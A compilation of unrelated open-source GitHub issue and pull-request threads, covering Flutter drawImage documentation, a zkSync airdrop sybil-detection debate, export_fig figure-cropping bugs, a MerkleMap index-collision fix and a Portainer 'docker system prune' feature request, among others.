But an example of how to locate the administration of an AssetImage within the scope of a Flutter application framework so as to produce a concrete Image object from it - should be in the AssetImage documentation - not in Canvas.drawImage().

The docs for drawImage should be relatively simple as it has a very narrow scope

The docs should be simple, certainly, but they do not need to be brief. They can, and should, be as detailed as possible to get people productive as fast as possible.

There are several ways to get an image to use with this method and all of them have their own idiosyncrasies that are outside its scope.
You can use ImageDescriptor/Codec/FrameInfo.image
You can use PictureRecorder/Picture.toImage()
You can use RenderRepaintBoundary.toImage()
You can use AssetImage
There are/will be external modules for image codecs and manipulation.

I would be perfectly happy for us to provide sample code for each of these in these docs.

This method is not complex enough to host the sample code to deal with all of the intricacies of any, each, or all of those mechanisms.

I don't understand why a method must be complicated for it to have detailed documentation or for it to host lots of sample code.
The point of API docs is to help developers write their applications. If we could somehow create API docs such that the first API doc someone looks at contained the entirety of the code they needed to write their application, we should do so, because that would be the quickest way to solve their problem.

Canvas.drawImage() could probably get away with "If you have ever done graphics before in any language since before the turn of this millennium you could probably write this doc comment yourself".

We have 5 year olds reading this documentation. We have 65 year olds who just started programming yesterday. We have developers who have spent years working on backend server code and just decided today to try their hands at UI. We must welcome everyone, regardless of skill level. They might be graphics experts looking to know exactly how drawImage does interpolation, or they might be inexperienced hobbyists who just want to copy some code to get their Christmas card working. It's not our place to judge why they are coming here, nor is it our place to dismiss people who couldn't write the API docs.
There's a section in our style guide that talks about this. It makes the point that if someone is reading the API docs, it's for a reason. Clearly, if they could write it themselves, they would not be reading the API docs. So we should never consider it even remotely reasonable to think that our API docs could tell someone they don't need the API docs. Frankly, it is a highly condescending perspective to take.

I see no reason to burden the method with descriptions of how to manage the various sources from which you can obtain the image data.

It's not a burden. It's on honour.

But an example of how to locate the administration of an AssetImage within the scope of a Flutter application framework so as to produce a concrete Image object from it - should be in the AssetImage documentation - not in Canvas.drawImage().

I have no objection to it being in the AssetImage documentation, but that's not where people will be looking when they want to draw an image from their assets. They will likely start with "I'm in a paint method, it has a Canvas. What can Canvas do? Ah, it can drawImage. Let's see how that helps".

I have no objection to it being in the AssetImage documentation, but that's not where people will be looking when they want to draw an image from their assets. They will likely start with "I'm in a paint method, it has a Canvas. What can Canvas do? Ah, it can drawImage. Let's see how that helps".

Put it in AssetImage. Point to it from drawImage.

We can certainly do that too, but it seems weird to do so? Why make people take the extra step?
I really don't understand the objection to having useful documentation here.

I really don't understand your desire to put it in drawImage. This example is how to deal with AssetImage, it is not how to deal with drawImage. I don't know how to put it more simply than that.

You can use ImageDescriptor/Codec/FrameInfo.image
You can use PictureRecorder/Picture.toImage()
You can use RenderRepaintBoundary.toImage()
You can use AssetImage
There are/will be external modules for image codecs and manipulation.

I would be perfectly happy for us to provide sample code for each of these in these docs.

I would be happy to have those documented as well - in those classes, not here.

My desire to put all of these in drawImage is that people go to drawImage to look up documentation on how to draw images.

If they get to drawImage they can go there for any number of questions. If they see a dozen pieces of sample code:

How to get an image from a Picture
How to get an image from a Codec
(both of which are more immediately associated with the Canvas object)
How to get an image from a RenderObject
How to get an image from an AssetImage
How to manage images with an ImageCache
How to create an ImageFilter which would be applied to the image when drawn
How to create a ColorFilter which would be applied to the image when drawn
How to manage a transform matrix which is used to transform the image

etc.
How does that help the person with a specific question. They'll have to scan and scan and scan and it will all look way more complicated than it really is when they only have one question.
Instead, point them at the various pieces which come into play and then have those pieces document themselves. You can point out that there are several ways to get an image in one sentence and then they can click over to the specific one that they want for further details.
AssetImage is only 1 of 4 or 5 places they can get an image. It's not the one question they'll have when they get here.

Pointers good. Entire examples, given that there are potentially a dozen completely separate questions they may have - bad.

I'm perfectly happy for us to move the sample code elsewhere once we have other material competing with it, but again, right now there's literally only 27 words in these docs...

(as opposed to AssetImage, which has lots and lots of documentation already -- so if we're worried about overwhelming people, the argument applies way more over there than here today.)


maps are blank

Thanks for the awesome project. I am just trying it out on my mac
➜ uname -a
Darwin terrier.fritz.box 23.0.0 Darwin Kernel Version 23.0.0: Fri Sep 15 14:41:34 PDT 2023; root:xnu-10002.1.13~1/RELEASE_ARM64_T8103 arm64

➜ pip show lonboard
Name: lonboard
Version: 0.4.1
Summary: Python library for fast, interactive geospatial vector data visualization in Jupyter.
Home-page:
Author: Kyle Barron
Author-email<EMAIL_ADDRESS>License: MIT
Location: /Users/shoaib/.pyenv/versions/3.8.12/envs/venv3_8_12/lib/python3.8/site-packages
Requires: anywidget, geopandas, matplotlib, palettable, pandas, pyarrow, shapely
Required-by:

I don't have geoparquet installed I assume that's expected coz lonboard has its own version of it.
➜ pip show geoparquet
WARNING: Package(s) not found: geoparquet

I tried 3 of the examples none show the map layers.

I'm gonna check for debug options also on a different architecture next but any pointers would be great!

with 0.4.1 I can still see stuff rendered

virtualenv env
source ./env/bin/activate
pip install jupyterlab lonboard
python -m ipykernel install --user --name "$(basename "$PWD")"
./env/bin/jupyter lab

you might want to look in the console.
alternatively, the issue might just be that the example you're looking at explicitly won't render aside from hovering your cursor over the map. So you need to hover over the US to visualize the Arcs

Actually can you try 0.3.0? It seems I do have some issues still in 0.4.1

Could you try again with 0.4.2? Thanks!


Airdrop discussion

Your amazing whitepaper didn't mention plans for future airdrop. Is such a thing even planned?
I understand if you, as a team, are not comfortable sharing such an information right now, feel free to clsoe the issue if you feel like it.
My main question is how are you going to distinguish real zkSync users from bot farmers? In my opinion gitcoin passport would be fair, but it should be announced earlier, cuz it's not THE STANDARD (yet)

Gitcoin passport requires a social account like twitter, facebook, or google... Otherwise, you can not get a high score.
It is not fit with the zkSync vision about privacy. Additionally, this is L2 world. So the more you contribute to the network, the bigger prize that you will get.
I think the criteria distinguishing real zkSync users from bot farmers are network volume, number of tx, number of active days, and number of interactions with Dapp. That's all.

any transaction volume/value checks would be unfair to me
for example lets have a look at my wallet 0x2fa1E5e90C011d08BbA1f6dbdc317FD293311c0D

as you can see on debank I am a pretty active user of other evm blockchains, but it does not guarantee that I'm 100% real user.
Even if we considering gitcoin passport wouldn't be as strong evidence

most of the tasks listed can be easily completed without KYC
We could look at first transaction of specific wallet or check connections to eliminate sybils, but this could create many false-positives like for example me sending funds from 0xCef744F9DA90AE4799BC2FF7DD5E3810d1fF54D8 (hot wallet) to my ledger once it arrived. Another example is buying crypto for family and friends without CEX accs or exchanging test tokens on twitter due to poorly designed faucets (like linea)
Another thing to talk about is if you guys consider so called "airdrop hunting" as a bad thing. Like for example I interact with zksync era projects on daily basis on my main and only active wallet. Yeah of course sometimes I swap more times than I actually need on syncswap (dont blame me im raising some money for a gift to my gf). I know that it creates fake traffic and more load than its necessary, so I'm asking if you consider it as a "stress test" for the network.
I'm sure that zkSync team has some solution to this problem and I would love to read about your standpoint

I think the kyc by gitcoin and galxe passport would be enough. Why the complicated kyc.

I'm not talking about KYC but im rather asking for decentralized solutions.
Of course they could have just partner up with major CEXes and force people to connect their wallets and then claim, but thats not how we want it. Crypto is already becoming more and more centralized. Just make sure to remember that decentralization does not equal full anonymity, most blockchains are already transparent, so I'm sure that solution for above mentioned problem in fact is entirely possible, even though its tricky

Gitcoin passport is not fair enough, why should I get more score through donation?

Gitcoin passport is not fair enough, why should I get more score through donation?

How many points do you have on gitcoin?

Gitcoin passport is not fair enough, why should I get more score through donation?

How many points do you have on gitcoin?

33 and it's uncomfortable to offer all my personal private info to the project I barely use.

I personally am not comfortable uploading my identifying documents to things like Gitcoin and Galxe. I put a lot of stock in my relative anonymity. I am very active with a variety of DAPPS and bridges on ZK Sync and would hope to be rewarded regardless of my willingness to bust out my passport or drivers license. I think using the solution of disqualifying users who have under a minimum number of transactions will likely kill off most of the "airdrop hunters". Who are trying to get that multimillion dollar pipe dream of a payday from an airdrop. I also think it would be a shame to disqualify relatively new community members. It seems like maybe a few months of faithful activity would be sufficient? With something like 50 transactions? I have no idea if any of your guys are developing on chain or what... but I like it that way. Anonymity. - TrashxPanda

من شخصاً از آپلود اسناد شناسایی خود در مواردی مانند Gitcoin و Galxe راحت نیستم. من سهام زیادی را در ناشناس بودن نسبی خود قرار دادم. من با انواع DAPPS و پل‌ها در ZK Sync بسیار فعال هستم و امیدوارم بدون توجه به تمایلم برای رد کردن گذرنامه یا گواهینامه رانندگی، پاداش دریافت کنم. من فکر می کنم استفاده از راه حل رد صلاحیت کاربرانی که کمتر از حداقل تعداد تراکنش دارند، احتمالا اکثر "شکارچیان دراپ" را از بین می برد. کسانی که سعی می کنند آن لوله چند میلیون دلاری را از یک ایردراپ به دست آورند، رویای یک روز حقوق را دارند. من همچنین فکر می کنم شرم آور است که اعضای نسبتاً جدید جامعه را رد صلاحیت کنیم. به نظر می رسد شاید چند ماه فعالیت وفادارانه کافی باشد؟ با چیزی حدود 50 تراکنش؟ من نمی دانم که آیا هیچ یک از بچه های شما در حال پیشرفت در زنجیره هستند یا چه ... اما من آن را دوست دارم. ناشناس بودن.

That's right. My opinion is the same.

@gluk64 Would you mind sharing your thoughts?

77% of zk wallets have never used DEX in their entire lifespan
thats around 1,3M potential sybil wallets
I wonder how many of them have at least 10 points on gitcoin passport :eyes:

 77% of zk wallets have never used DEX in their entire lifespan thats around 1,3M potential sybil wallets
I wonder how many of them have at least 10 points on gitcoin passport 👀

Well .. i think most of them didn't know how to use dex. They just doing some bridge between l1 &l2

I've also thought about this idea of giving special nfts (or just a mint whitelist) to hand-picked community members and developers (I'm not talking about big teams like syncswap or mute).
let's take a look at this guy
he created an amazing tool called zkFlow to track zksync activity.
he has made his wallet address available, so we can take a look at the portfolio

nothing impressive, right?
but should he get a bigger (potential) airdrop than the guy who bridged 10ETH and spammed with mute transactions?
ABSOLUTELY YES
on the blockchain it may seem that the latter is more dedicated, but is that the case? If the future token is going to be used for management, we need to make sure we dump the tokens to the right people with actual knowledge, not just people who want to make money from it (by selling them to one friggin' entity).
I'm sorry, but this is critical to keeping zkSync decentralized and strong. Airdropping tokens to everyone or organizing an
ICO could have disastrous consequences for the community, as well as for the entire project
I have a lot of free time right now, so maybe I could help with selecting above-mentioned addresses
email: hello[at]sioodmy.dev
pgp key: https://sioodmy.dev/public.key
pgp fingerprint: D656 43B1 72BA 33B9 74A5  9CC4 056C FD15 A9F9 9B0E

Sorry but "the guy who bridged 10ETH and spammed with mute transactions" is really contributing to the project. If you know how much he pays for the price slippage and fee, you won't say that. But we must remove all wrap/unwrap ETH transactions, many airdrop farmers do this way to avoid losing money by price slippage and fee

Sorry but "the guy who bridged 10ETH and spammed with mute transactions" is really contributing to the project. If you know how much he pays for the price slippage and fee, you won't say that. But we must remove all wrap/unwrap ETH transactions, many airdrop farmers do this way to avoid losing money by price slippage and fee

I disagree
why would we reward people just for being rich?
Mindlessly spending money on project should not be prioritized over actively contributing to the zkSync ecosystem. Expanding and embracing the ecosystem actually helps our community and keeps zksync thriving and alive.
I'm absolutely sure that 99.99% of "airdrop hunter/crypto bros" never heard of zero knowledge proof.
(If I had to guess, probably there are like 5000 people at most that actually know what zero knowledge proof actually is )
Do they really deserve to be able to vote? Do they know anything about zkSync project?
Let's be real, most of them wants to claim free funni internet moni and then dump it as soon as they can. Also vesting is not a real solution to this problem, as people will be afraid to build and use zksync because they will think they are sitting on a ticking bomb that will explode when the tokens are unlocked.

I think the kyc by gitcoin and galxe passport would be enough. Why the complicated kyc.
I think so

I think the kyc by gitcoin and galxe passport would be enough. Why the complicated kyc.

Why do we need KYC in this case? zkSync focus on privacy, so I don't think they need every user with verified KYC to get the reward. They should focus on on-chain activities. That's all

Sorry but "the guy who bridged 10ETH and spammed with mute transactions" is really contributing to the project. If you know how much he pays for the price slippage and fee, you won't say that. But we must remove all wrap/unwrap ETH transactions, many airdrop farmers do this way to avoid losing money by price slippage and fee

I disagree why would we reward people just for being rich?
Mindlessly spending money on project should not be prioritized over actively contributing to the zkSync ecosystem. Expanding and embracing the ecosystem actually helps our community and keeps zksync thriving and alive.
I'm absolutely sure that 99.99% of "airdrop hunter/crypto bros" never heard of zero knowledge proof. (If I had to guess, probably there are like 5000 people at most that actually know what zero knowledge proof actually is ) Do they really deserve to be able to vote? Do they know anything about zkSync project?
Let's be real, most of them wants to claim free funni internet moni and then dump it as soon as they can. Also vesting is not a real solution to this problem, as people will be afraid to build and use zksync because they will think they are sitting on a ticking bomb that will explode when the tokens are unlocked.

I don't think people need to know zk proof to involve in zkSync project. It is based on mathematics and hard to understand if you are not good at Math. They just need to know basic concept of zk proof and how zkSync team used it.
But I agree with you, most of zkSync wallet now is airdrop hunter. And almost on-chain activities now are farming. So the on-chain volume, the distinct smart contract interaction, and the week/month active may be the most criteria to recognize real user and bot/spam user.

Sorry but "the guy who bridged 10ETH and spammed with mute transactions" is really contributing to the project. If you know how much he pays for the price slippage and fee, you won't say that. But we must remove all wrap/unwrap ETH transactions, many airdrop farmers do this way to avoid losing money by price slippage and fee

I disagree why would we reward people just for being rich?
Mindlessly spending money on project should not be prioritized over actively contributing to the zkSync ecosystem. Expanding and embracing the ecosystem actually helps our community and keeps zksync thriving and alive.
I'm absolutely sure that 99.99% of "airdrop hunter/crypto bros" never heard of zero knowledge proof. (If I had to guess, probably there are like 5000 people at most that actually know what zero knowledge proof actually is ) Do they really deserve to be able to vote? Do they know anything about zkSync project?
Let's be real, most of them wants to claim free funni internet moni and then dump it as soon as they can. Also vesting is not a real solution to this problem, as people will be afraid to build and use zksync because they will think they are sitting on a ticking bomb that will explode when the tokens are unlocked.

I don't think people need to know zk proof to involve in zkSync project. It is based on mathematics and hard to understand if you are not good at Math. They just need to know basic concept of zk proof and how zkSync team used it. But I agree with you, most of zkSync wallet now is airdrop hunter. And almost on-chain activities now are farming. So the on-chain volume, the distinct smart contract interaction, and the week/month active may be the most criteria to recognize real user and bot/spam user.

I agree, real zkSync users should receive the potential airdrop (potential because we are only speculating), however people who build around the zkSync ecosystem deserve more love and no, I'm not talking about huge projects (like any dapp listed on https://ecosystem.zksync.io/), but small devs experimenting and gaining experience while building on zksync.
I think it would be fair if zkSync team decided to make some kind of "Education Grant" or something like that, opportunities are endless. It could be linear 5 year vesting to keep them on chain. It could be on top of the airdrop or devs would have to chose whether they want "quick cash" or if they actually believe in the project, 5 year vesting with more tokens. But that's up to the zkSync developers to decide. I'm sure they're reading this (I wish you all a pleasant rest of the day, keep going) , but it's wise for them to remain silent because they know that when they respond, the crypto bros will already be configuring their lambos

Your amazing whitepaper didn't mention plans for future airdrop. Is such a thing even planned? I understand if you, as a team, are not comfortable sharing such an information right now, feel free to clsoe the issue if you feel like it.
My main question is how are you going to distinguish real zkSync users from bot farmers? In my opinion gitcoin passport would be fair, but it should be announced earlier, cuz it's not THE STANDARD (yet)

Any KYC or identity verification is soooo Web 2.0. We are now in a new Era - Web 3.0
If KYC is being enforced, 3 of the ZK Principles might be violated:-

Trustlessness. Users must be able to verify the integrity of transactions and the network state independently, without relying on others.
Censorship-Resistance. Users must have the ability to transact on the network without needing permission from anyone.
Privacy. Users must be able to protect their identities and transaction details. Sensitive information is not shared with others in the network without the consent of users.

Bot farmers/Sybil attackers could be detected using other methods such as algorithms/AI.

برای افزایش امتیاز گیت کوین سعی کنید از لینک https://getpass.civic.com استفاده کنید و بهتون حداقل ۶ امتیاز میده

ممنون

👍

Thanks for everyone's feedback here, but we're going to close this comment since this thread is not related to the ZK Credo.

👍


Pending transactions

Please describe the problem that your request should resolve.

Describe the solution you'd like

Is it already possible to achieve the same outcome in any other way? If so, how?

Additional context

Any idea how to get this? @michele-franchi

There should be a new endpoint on the middleware.

Followup with more great ideas https://github.com/aeternity/aescan/issues/725

After discussion I have a implicit resolution that is not going to be possible to build. as it is a part of debug endpoint which is not public

Let's find somebody who will setup a debug access for aescan backend. Not needed to close the issue just because of this.


Upcoming domain change to geosphere.at

Hi @killer0071234 !
Since January 2023 the organizations ZAMG and GBA merged to Geosphere Austria. As a result, the API provided currently under https://dataset.api.hub.zamg.ac.at/v1 will move to a new domain => https://dataset.api.hub.geosphere.at/v1 (not yet public)
This change also comes with infrastructure changes behind the scenes (which will lead to better performance in the future!). In order to not maintain multiple environments we are considering HTTP 301 redirects. However, this would break your package, as you are not following redirects: https://github.com/killer0071234/python-zamg/blob/main/src/zamg/zamg.py#L80
Estimated timeline
The new domain will be public and the new canonical URL this summer, ideally July.
Changes
For users only the domain will change. Any other changes in the future will be announced ahead of time to allow adjustments.
Solution
Is there a specific reason why you don't follow redirects? This would be an easy solution for the upcoming change, that doesn't need a lot of coordination.

Hi @dlang-geosphereat!
Many thanks for your information about the ongoing progress of updating the data hub api.
There is no specific reason for a disallowed redirect.
In a first step it will be the best if we allow redirects that there are no failed updates to the new url after the update on your side.
Later on we should change it to the new url.
BR

Thanks for your quick response.
I agree that this is a good first step, as it gives both sides flexibility during this transition. We are still discussing how to move each service (there are other components we need to move), but having this option would obviously help a lot.

@killer0071234 Just a heads up, we already did change our domain. We also have a new Github Repository (https://github.com/Geosphere-Austria/dataset-api-docs) where you can track (upcoming) changes and give feedback.

@killer0071234 Just a heads up, we already did change our domain. We also have a new Github Repository (https://github.com/Geosphere-Austria/dataset-api-docs) where you can track (upcoming) changes and give feedback.

Thanks for the information!


Use cargo-c

cargo-c exists exactly to ease the build of Rust programs into C libraries, it's an easier and less error-prone approach

Wow, nice, did not know about the project, thanks for the suggestion @nappa85!


tests update

Coverage increased (+11.12%) to 57.21% when pulling c25c0db111b785a94c0db27813323a5f4263e633 on tboro:master into 976e3a0c6e442e236e5ea4d9efb965931b2a9c7a on vegas-cmf:master.

Coverage increased (+11.12%) to 57.21% when pulling 5e8b4e7bf881d1453342a9cd0b960e96ec83e151 on tboro:master into 976e3a0c6e442e236e5ea4d9efb965931b2a9c7a on vegas-cmf:master.


[Table] Sort icon should appear on hover

The spec says that the sort icons should appear when the header is hovered to indicate that the header is sortable.

@andrewseguin How would you do this on mobile devices?

Perhaps similar to tooltip, longpress can expose the icon without triggering the sort.

I'd like to piggy back on this to suggest similar behavior on focus. Currently there is no visual indication that an action can be taken when tabbing through the mat-sort-header-buttons.

@andrewseguin does this mean that user won't see what column is sorted when he enters site? The only way to know what column is sorted will be to hover over header? Will there be an option to show sort icons by default and not when header is hovered?

@Misiu I believe the change will do the following

If a column is not yet sorted, hovering/focusing/longpressing the header will show the sort icon
If a column is sorted, the icon will show until the column becomes unsorted (existing behavior)

I got confused because I thought that sort icons will only show when hovering.
@willshowell thanks for clarification.


Crop position with coordinates

Now that WordPress will include support for responsive images builtin, it becomes possible to have some sort of art direction associated with our images, making the crop operation a bit more demanding.
We currently can pass a position to our crop function, such as:
{{ thumbnail.src|resize(1200,320,'center') }}

Although really useful, it would be nice to have the option to integrate this with something like https://wordpress.org/plugins/my-eyes-are-up-here/
That plugin allows the site admin to add hotspots to an image, so that the image can be cropped in such a way that the hotspot remains visible.
The aforementioned plugin does not work with images cropped with Timber filters, so I am now looking for solutions to achieve something similar.
Have anyone tried this before?

Hi @lmartins - i'm going to close this as if we do come to this solution, it will probably involve Timmy in some way or another. Hope you don't mind.

I don't mind at all, thank you for the feedback.


to test pull request

Signed-off-by: Caihua Zhao<EMAIL_ADDRESS>

Thanks Li Qi and Hiren, this pull request is for test propose, no need to merge. I am closing it.

test


Revert "doc: move 'getting help' to contrib guidelines"

This reverts commit 05ccdd7c4086d940d2cfd311ae8102f2d905b6e7.
I put it in a standalone place so that it would be easy for beginners
to find.
Signed-off-by: Martí Bolívar<EMAIL_ADDRESS>

I wasn't asked for review on the original PR that did this (https://github.com/zephyrproject-rtos/zephyr/pull/34364) and I would have -1ed.

Also, in no way is "I need help with using zephyr" content that belongs in a page about "here is how to contribute to zephyr".

Moving this to a more prominent spot certainly won't hurt. Thanks.

Just to be clear, this PR is putting it back to where it originally was and had been since I added the page. Thanks for review.

The page was moved to another location at the SAME level, not following how the previous location was more prominent.

Before:

After:

@nashif yes, it's moved to here:

But that makes no sense.
This is not information for contributors; it's for users.

then put it in 'Getting Started Guide'

done


Add support for :root selector

It would be nice if angle sharp would support the :root selector.
http://www.w3schools.com/csSref/sel_root.asp

The root selector is supported.


Add newly-added capabilities to the DefaultCapabilities list

Needed to add new UpdateParameters tests for https://github.com/dotnet/runtime/pull/85796


More Samples in Wiki

I think that lack more samples in Wiki. For exemple here:
https://www.phptesting.org/wiki/Lint-Plugin
https://www.phptesting.org/wiki/Atoum-Plugin
https://www.phptesting.org/wiki/Behat-Plugin
https://www.phptesting.org/wiki/Campfire-Plugin
https://www.phptesting.org/wiki/Grunt-Plugin

You're right ... I didn't get to those when I added examples for the other plugins. Will update these shortly. Sorry about that.

All right! If I can help. Tell me.

Please! :) If you can post usage samples here for any of the ones listed above, that would be great.

Please send me your phpci.yml or paste here.

Examples added. Will update if people post their working samples here.

I think that can close this issue.
Thanks!


figures not saved fully irregularly

suddenly export_fig stops saving figures fully... as attachments you can see what I mean by this.

this problem occurred suddenly and each figure is not cropped the same everytime I run a matlab script.... very irregular
my current code for each matlab script is as follows:
`fig = gcf;
fig.WindowState = 'maximized';
set(fig,'Color','w');
saveas(gcf,'FIGURENAME.jpg');
export_fig FIGURENAME.jpg`
the problem also arises when I export the figure as .png
Anybody know how to solve this problem?!

I second this issue. I have the same issue randomly, except I save my figures as a pdf. I use: export_fig(FIGURENAME,'-pdf','-append','-r300');

Weird workaround that solves it for me: Making the figure invisible before the call.
set(gcf, 'visible', 'off')
export_fig test.pdf
set(gcf, 'visible', 'on')

Thanks @zifredder!! I was running into this issue while appending to pdfs, just like @asgorin. This workaround works for me

Great tool but I have encountered the same problem. Windows 10, MATLAB 2020b. I downgraded to an earlier version of export_fig

Have the same problem.
drawnow
pause(.1)

before calling helps for me.

Have the same problem.
drawnow
pause(.1)

before calling helps for me.

I encountered the same problem with an older version of export_fig (cannot find the version number) but less often. AndreZeug's solution works so far. Thank you,
B

I have been experiencing this same bug since upgrading from, I believe, the 2021-01-15 version to the 2021-08-03 version. Subsequent updates have not helped the issue subside. I have also updated my Matlab version from r2019b to r2021b sometime between these dates.
I have tried the pause and drawnow workarounds, in addition to the pause/drawnow in export_fig itself. The issue tends to occur when I am looping through a lot of data/figures for export. If I put a pause before calling export_fig and then run the command myself manually, the issue doesn't seem to occur.
A few examples of my usage and things I have tried:
export_fig(f1,[fig1name '.png'])

pause(0.05);   drawnow;   export_fig(f1,[fig1name '.png'])

pause(0.05);   drawnow;   pause(0.05);   export_fig(f1,[fig1name '.png'])

% in case there is an issue with the figure not being the current one?
figure(f1);   pause(0.05);   drawnow;   pause(0.05);   export_fig(f1,[fig1name '.png'])

While looping, none of these has been able to help so far. I am currently using the latest commit available by running export_fig('-update'), which I believe is 3.20 with r2021b on a Windows 10 machine.
Thank you for your help and all the work you do with this amazing tool.


Table Ctrl+Shift click logic improved

Changes

Ctrl + Shift click behavior matches that of Windows explorer

Screen recordings
Actions taken:

Click row 0
Ctrl click row 2
Ctrl + Shift click row 6
Ctrl click row 5
Ctrl + Shift click row 3

Before:
Before
After:
After

TODO: Fix mismatch between Table state and the table that is shown. (https://github.com/iTwin/iTwinUI/pull/1660#pullrequestreview-1708270018)

May come in another PR if unrelated to Table Ctrl+Shift

Testing

Updated unit test
Docs

Added changeset

could it be that instance.selectedFlatRows is not getting correctly updated?

I don't think so because based on what Ctrl+Shift click I did in the example, the paginator was indeed showing the correct count.

do we rely on this property to be set anywhere else? if not, we could update our paginator props to compute total count from selectedRowIds instead.

I found only one use of instance.selectedFlatRows and it was in the paginator. After using selectedRowIds instead, it still didn't work.

I spent some time looking into this and found that this mismatch is happening due to memoization of Table rows. We need to update the comparison function which probably needs some updated checks.

After looking in this direction for a while, I realized that the problem lied with with how the new state was created.
- const newState = oldState // incorrect
+ const newState = { ...oldState } // correct

With the incorrect version, the old selection state was accidentally also being changed along with the new selection state. Thus React.memo's arePropsEqual() returned true since the old state equals the new state.
The render issue is now fixed after https://github.com/iTwin/iTwinUI/pull/1660/commits/fe53c5d72cf679ab80979f54d1f9086767234879


Fix potential collisions with merkle map indicies

Summary
This PR fixes an issue where computing the key of a MerkleMap can lead to a collision between two different field elements. This is because the key is computed with bit reversal, so the key 1 is bit reversed to be 10..000, i.e. 2^254. This can lead to potential collisions since the pasta field is smaller than 2^255 and multiple distinct indices may be associated to multiple keys.
Changes

Modified the MerkleMap._keyToIndex function to check the size of the key computed and throw an error if it's greater than 2^254
Modified the property testing unit test for MerkleMaps to expect failure if the input field is greater than 2^254
Added @example  tags to the MerkleMap class

Open Questions
Does this PR count as a breaking change since we are changing the behaviour of this keyToIndex?

The eventual fix IMO is to just make MerkleMap a tree of height 255 (instead of 256), and change the witness length from 255 to 254. But that would require us to create complete V2 versions of MerkleMap and MerkleMapWitness, so maybe let's do that at the next version upgrade, when this breaking change is ok and we don't have to maintain the old height-256 version.


You can use unicode characters to create rooms with blank names

I can use the hangul's filler and other blank unicode chars. The room's name then becomes blank. Maybe you should add a check to see what characters it is?

What is pm. Sorry, I’m a newbie.

What is pm. Sorry, I’m a newbie.

same question...


Change shell script to Makefile

Change the Shell Script that starts the flow to a Makefile pattern or suggests a better way.

I open a Pull request to create the Makefile
PR: https://github.com/marcopollivier/big-bang/pull/19


Support 'docker system prune'

It would be nice if there was an option in the GUI to run the 'docker system prune' on a node to clear things up. I can create a pull for it, but not sure where it would fit into the GUI

@nerdbaggy
We thought a lot about adding these kind of features in the past, and only recently accepted to add the container prune feature: https://github.com/portainer/portainer/issues/904
This one seems even more dangerous for the user, as it can delete containers/images/volumes.
With the recent introduction of unused tags for volumes & images, it became easier to isolate and remove unused volumes/images. Implementing #904 might be the way to go to have a full cleaning method while keeping our users away from unwanted removals.
@ncresswell what do you think ?

My thoughts remain the same, i dont want any auto-prune feature...
Rgds,
Neil Cresswell
On 10/08/2017, at 7:43 PM, Anthony Lapenna <notifications<EMAIL_ADDRESS>wrote:
@nerdbaggyhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_nerdbaggy&d=DQMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=0fx0h4vB56iTLpw2McH1ZD6TqG_QGpbggVOB-PfMJpM&m=EE9co2ys8s9pTsXKrLJvN1NjFAHwdGqNW-HfdyRZDR0&s=2jBFMc4RUZpYEoqIJhODZ4ACpCinsQupJCqwnQTJ6OU&e=
We thought a lot about adding these kind of features in the past, and only recently accepted to add the container prune feature: #904https://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_portainer_portainer_issues_904&d=DQMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=0fx0h4vB56iTLpw2McH1ZD6TqG_QGpbggVOB-PfMJpM&m=EE9co2ys8s9pTsXKrLJvN1NjFAHwdGqNW-HfdyRZDR0&s=JESmXwPq-dAQDsLqulebM75bY3JivciWUwsKeooGcL4&e=
This one seems even more dangerous for the user, as it can delete containers/images/volumes.
With the recent introduction of unused tags for volumes & images, it became easier to isolate and remove unused volumes/images. Implementing #904https://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_portainer_portainer_issues_904&d=DQMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=0fx0h4vB56iTLpw2McH1ZD6TqG_QGpbggVOB-PfMJpM&m=EE9co2ys8s9pTsXKrLJvN1NjFAHwdGqNW-HfdyRZDR0&s=JESmXwPq-dAQDsLqulebM75bY3JivciWUwsKeooGcL4&e= might be the way to go to have a full cleaning method while keeping our users away from unwanted removals.
@ncresswellhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_ncresswell&d=DQMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=0fx0h4vB56iTLpw2McH1ZD6TqG_QGpbggVOB-PfMJpM&m=EE9co2ys8s9pTsXKrLJvN1NjFAHwdGqNW-HfdyRZDR0&s=fMSleCLPD9kTZCBZUy-g1t2H8RBX4ulLWNXw8ccyrS0&e= what do you think ?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_portainer_portainer_issues_1102-23issuecomment-2D321476833&d=DQMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=0fx0h4vB56iTLpw2McH1ZD6TqG_QGpbggVOB-PfMJpM&m=EE9co2ys8s9pTsXKrLJvN1NjFAHwdGqNW-HfdyRZDR0&s=ya1BQ0NKg9p3hO1nNa_5Ich72JX73qurKRaT-s_i3XY&e=, or mute the threadhttps://urldefense.proofpoint.com/v2/url?u=https-3A__github.com_notifications_unsubscribe-2Dauth_AWGrlVVacEMuGpqbZioIAKkz60BlUgaRks5sWrSwgaJpZM4OyIbE&d=DQMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=0fx0h4vB56iTLpw2McH1ZD6TqG_QGpbggVOB-PfMJpM&m=EE9co2ys8s9pTsXKrLJvN1NjFAHwdGqNW-HfdyRZDR0&s=vwYQYLz8PKpge3dwVp8pAiBd9lAmdxxC5oBDwZD30ok&e=.

Looking at the API the Prune call doesn't do it all at the same time. There is:
/networks/prune
/volumes/prune
/containers/prune
/images/prune
So it wouldn't have to be all at once, but I do understand your point

I would appreciate button to execute docker system prune --all command. Now I have to ssh to the server and run it manually :/

I also would value a short cut for cleaning up unused junk. Manually identifying and deleting the various elements is too much effort.


Publish v0.7.1

While we are still working on #14, would it be possible to publish a new release, v0.7.1?
The ansi_term crate recently published an update that fixes a problem with compiling/linking with the i686-pc-windows-msvc toolchain. I would like to propagate this fix to some of my Windows projects that are using this crate.
I have already bumped the dependency versions and Cargo.toml version, but I do not want to publish an update without @clux knowing about it or reviewing, just in case.

Hey, yeah sure. Thanks.
I'll cargo publish :-)

Done :-)


security: avoid cross-realm objects

What kind of change does this PR introduce?
refactoring: avoid cross-realm object access.

Did you add tests for your changes?
not yet

